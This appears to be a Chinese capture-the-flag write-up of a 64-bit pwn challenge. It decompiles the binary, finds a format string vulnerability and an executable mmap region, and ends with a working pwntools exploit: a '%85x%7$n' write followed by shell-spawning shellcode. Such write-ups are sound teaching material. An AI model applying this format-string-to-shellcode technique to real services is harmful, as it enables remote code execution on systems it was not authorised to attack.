checksec 检查
结果如下

```
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
```

逆向重要的函数
main

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *v3; // rax
  _DWORD *v4; // ST18_8

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996(60LL, 0LL);
  v3 = malloc(8uLL);
  v4 = v3;
  *v3 = 68;
  v3[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4, a2);
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}
```

可以看到，main 函数做了如下工作：

调用了 alarm 函数，并设置了计时为 60s ，也就是说程序会在 60s 后退出，在 repl 中做实验时要注意这一点
调用 sub_400996 ，这个函数主要用于输出，比如那条龙就是它的结果
分配了 8 个字节的空间，对低 4 位赋值为 68 ，高四位赋值为 85
将分配的空间的低四位的地址和高四位的地址分别输出
用分配出来的空间的起始地址做参数调用了 sub_400D72
在这些工作中，对解题有帮助的是输出的两个地址以及分配的空间中的两个值，请读者记住

sub_400D72

```
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s; // [rsp+10h] [rbp-20h]
```

```
    unsigned __int64 v3; // [rsp+28h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    puts("What should your character's name be:");
    _isoc99_scanf("%s", &s);
    if ( strlen(&s) <= 0xC )
    {
        puts("Creating a new player.");
        sub_400A7D("Creating a new player.");
        sub_400BB9();
        sub_400CA6(a1);
    }
    else
    {
        puts("Hei! What's up!");
    }
    return __readfsqword(0x28u) ^ v3;
}
```

完成的工作如下：

获取输入
如果输入的长度大于 12 则回到 main 函数并退出
否则继续按顺序调用三个函数，其中第三个函数使用了 main 中得到的地址

sub_400A7D

```
unsigned __int64 sub_400A7D()
{
    char s1; // [rsp+0h] [rbp-10h]
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
        ......
    while ( 1 )
    {
        _isoc99_scanf("%s", &s1);
        if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
            break;
        puts("hei! I'm secious!");
        puts("So, where you will go?:");
    }
    if ( strcmp(&s1, "east") )
    {
        if ( !strcmp(&s1, "up") )
            sub_4009DD(&s1, "up");
        puts("YOU KNOW WHAT YOU DO?");
```

```
        exit(0);
    }
    return __readfsqword(0x28u) ^ v2;
}
```
完成的工作如下：

一直获取输入，直到输入为 east 为止才能进行下一个流程

sub_400BB9

```
unsigned __int64 sub_400BB9()
{
    int v1; // [rsp+4h] [rbp-7Ch]
    __int64 v2; // [rsp+8h] [rbp-78h]
    char format; // [rsp+10h] [rbp-70h]
    unsigned __int64 v4; // [rsp+78h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    v2 = 0LL;
    ......
    _isoc99_scanf("%d", &v1);
    if ( v1 == 1 )
    {
        puts("A voice heard in your mind");
        puts("'Give me an address'");
        _isoc99_scanf("%ld", &v2);
        puts("And, you wish is:");
        _isoc99_scanf("%s", &format);
        puts("Your wish is");
        printf(&format, &format);
        puts("I hear it, I hear it....");
    }
    return __readfsqword(0x28u) ^ v4;
}
```
完成的工作如下：

获取输入，如果输入的值不是 1 ，那么直接进行下一个流程

如果输入的值是 1，那么存在格式化字符串漏洞，目前还看不出它的意义

sub_400CA6

```
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
    void *v1; // rsi
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    ......
```

```
  if ( *a1 == a1[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }
  return __readfsqword(0x28u) ^ v3;
}
```

完成的功能如下：

比较 main 中分配的空间中低四位和高四位的值，如果不相等那么一直 return 至游戏结束
如果相等，那么调用 mmap 分配一块 1000h 大小的空间，其中第三个参数告诉我们，这块空间具有可读可写可执行的权限
获取输入并存储到这片空间中
强转为函数指针并调用之
分析并得到 exp
既然我们通过 mmap 获得了一块可执行的空间，那么可以在这里写入 shellcode 来获取 shell ；但是要让程序的执行流程到达这里，我们需要让 main 中分配的那 8 个字节的空间中，低 4 位和高 4 位的值相等；

在 main 函数中，我们获得了它们的地址，而在 sub_400BB9 函数中存在着格式化字符串漏洞，有了这两个条件我们就可以修改其中一个值来使它们相等

在前面的 cheksec 检查中，我们发现这是一个 64 位的程序，而根据调用规约，前 6 个参数是放在寄存器中的，那么我们如何构造 payload 呢？

回到 sub_400BB9 中，我们可以发现，在获取 format 的输入前，还获取了一次输入并保存到了 v2 中，这个 v2 在 rsp+8h 的位置，如果我们把 printf 的原型记作 printf(format, args...) ，那么这个 v2 恰恰就是 args 中的第 7 个参数，所以我们可以用 '%7$n' 的方式来访问并修改 main 中分配的空间中的值

修改至相等后，程序会执行到巫师给予帮助的部分，我们只要在这里写入 shellcode 即可拿到 shell

所以，最后的 exp 如下：

```
from pwn import *

p = remote(远程 ip, 远程端口)

p.recvuntil('secret[0] is ')

# 获取第四位的地址，用切片切掉最后的\n，开始的空格在上面的 recvuntil 中
```

```
# 获得的数字直接用 int(x, 16) 即可转成十进制整型储存在 addr 中
addr = int(p.recvuntil('\n')[:-1], 16)

p.recvuntil('name be:\n')
p.sendline('Yuren')
p.recvuntil('up?:\n')
p.sendline('east')
p.recvuntil('leave(0)?:')
p.sendline('1')
p.recv()
p.sendline(str(addr))
p.recv()
p.sendline('%85x%7$n')
rec = p.recvuntil('SPELL\n')

context(os='linux', arch='amd64')

p.sendline(asm(shellcraft.sh()))
p.interactive()
```